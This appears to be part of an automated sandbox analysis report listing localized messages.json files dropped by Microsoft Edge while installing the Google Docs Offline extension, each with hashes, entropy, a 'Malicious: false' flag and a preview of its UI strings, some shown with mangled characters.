Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_2114809546\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
